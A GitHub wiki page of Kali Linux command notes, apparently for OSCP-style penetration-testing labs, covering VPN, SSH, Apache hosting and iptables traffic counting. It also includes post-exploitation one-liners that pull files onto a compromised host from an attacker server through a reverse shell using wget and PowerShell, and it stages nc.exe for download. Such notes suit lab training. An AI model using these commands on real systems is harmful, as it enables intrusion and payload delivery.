Skip to content

Kali Common commands

lethanhtung01011980 edited this page Jun 13, 2020 · 17 revisions

VPN

  • openvpn --config VPN/OS-XXXX-PWK.ovpn --auth-user-pass <(echo -e "vpnuser\nvpnpass")

Remote Desktop

  • rdesktop -u newuser -p newpass -g 1280x720 Windows_IP

SSH

  • systemctl start ssh
  • systemctl enable ssh

Enable root login

  • vim /etc/ssh/sshd_config
  • PermitRootLogin yes
  • systemctl restart ssh

SSH - Windows client

  • Can use plink.exe in Windows as command-line ssh client
  • /usr/share/windows-binaries/plink.exe

Apache

  • systemctl start apache2
  • systemctl enable apache2
  • cd /var/www/html
  • mv index.html index.html.bak
  • mv index.nginx-debian.html index.nginx-debian.html.bak
  • Download and upload WinSCP to Windows client: https://winscp.net/download/WinSCP-5.15.4-Setup.exe
  • Copy nc files: cp nc.exe /var/www/html

SimpleHTTPServer

To show current file in current directory. Able to display access log, too.

  • python -m SimpleHTTPServer 80

Search files

  • updatedb
  • locate xyz.txt

Download files

  • In reverse shell - Linux: wget 10.10.10.10/file
  • In reverse shell - Windows: powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.10.10/file.exe','C:\Users\user\Desktop\file.exe')"

Install OpenVAS

  • apt install openvas
  • openvas-setup

Traffic accounting using iptables

Setup

  • iptables -I INPUT 1 -s victim-ip -j ACCEPT
  • iptables -I OUTPUT 1 -d victim-ip -j ACCEPT

Reset the traffic counters

  • iptables -Z

View traffic

  • watch iptables -vn -L

View images as string

  • strings nineveh.png

Sidebar

0. COMMON exploits

1. Scan Info

1.2 Passive Gathering

1.3 Active Gathering

2. Pre-attack

2.2 File transfer

3. Get Reverse Shell

4. Exploits

4.2 Windows Exploits

4.3 Linux Exploits

4.4 Password crack

4.5 Buffer Overflow

4.6 Web attacks

6. Escalate Privilege

6.1 Escalate in Windows

6.2 Escalate in Linux

7. Access and further attacks

8. Port redirection and Tunnelling

9. Metasploit

10. Kali

11. Thirdparty scripts

Clone this wiki locally